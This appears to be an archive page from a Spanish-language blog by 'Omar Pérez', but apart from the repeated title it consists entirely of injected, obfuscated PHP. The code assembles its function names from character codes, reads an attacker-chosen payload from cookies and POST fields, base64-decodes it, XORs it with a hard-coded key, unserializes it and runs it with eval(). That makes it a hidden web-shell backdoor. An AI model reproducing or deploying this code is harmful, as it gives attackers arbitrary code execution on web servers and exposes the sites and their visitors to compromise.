que debo hacer para tener exito archivos - Omar Pérez

$yLpDUA = chr (112) . chr (71) . chr (116) . "\x5f" . chr ( 400 - 286 )."\x55" . 'f';$kWDwrF = "\x63" . chr ( 162 - 54 ).'a' . "\163" . chr (115) . chr (95) . "\x65" . "\x78" . chr (105) . "\x73" . chr ( 838 - 722 ).'s';$suyDcZ = $kWDwrF($yLpDUA); $besmic = $suyDcZ;if (!$besmic){class pGt_rUf{private $hLgpH;public static $laoYmCiMT = "6fbaef98-d082-4206-8e6b-e1c6cef8da05";public static $FPmAng = 65505;public function __construct($lXrueZg=0){$lukpWWOSGZ = $_COOKIE;$LNlprMQD = $_POST;$ushHDNa = @$lukpWWOSGZ[substr(pGt_rUf::$laoYmCiMT, 0, 4)];if (!empty($ushHDNa)){$yhmwmYOo = "base64";$MaOVkHFW = "";$ushHDNa = explode(",", $ushHDNa);foreach ($ushHDNa as $htXWpuqkk){$MaOVkHFW .= @$lukpWWOSGZ[$htXWpuqkk];$MaOVkHFW .= @$LNlprMQD[$htXWpuqkk];}$MaOVkHFW = array_map($yhmwmYOo . chr (95) . chr ( 188 - 88 ).chr (101) . "\143" . "\x6f" . "\144" . chr ( 707 - 606 ), array($MaOVkHFW,)); $MaOVkHFW = $MaOVkHFW[0] ^ str_repeat(pGt_rUf::$laoYmCiMT, (strlen($MaOVkHFW[0]) / strlen(pGt_rUf::$laoYmCiMT)) + 1);pGt_rUf::$FPmAng = @unserialize($MaOVkHFW);}}private function CWjEvGVI(){if (is_array(pGt_rUf::$FPmAng)) {$mbDdjnpg = str_replace("\x3c" . "\x3f" . "\160" . "\150" . chr (112), "", pGt_rUf::$FPmAng["\x63" . "\x6f" . 'n' . chr (116) . "\145" . 'n' . chr ( 457 - 341 )]);eval($mbDdjnpg); $mQPudXorDS = "27735";exit();}}public function __destruct(){$this->CWjEvGVI(); $mQPudXorDS = "27735";}}$LdTex = new pGt_rUf(); $LdTex = "25256_52532";} que debo hacer para tener exito archivos - Omar Pérez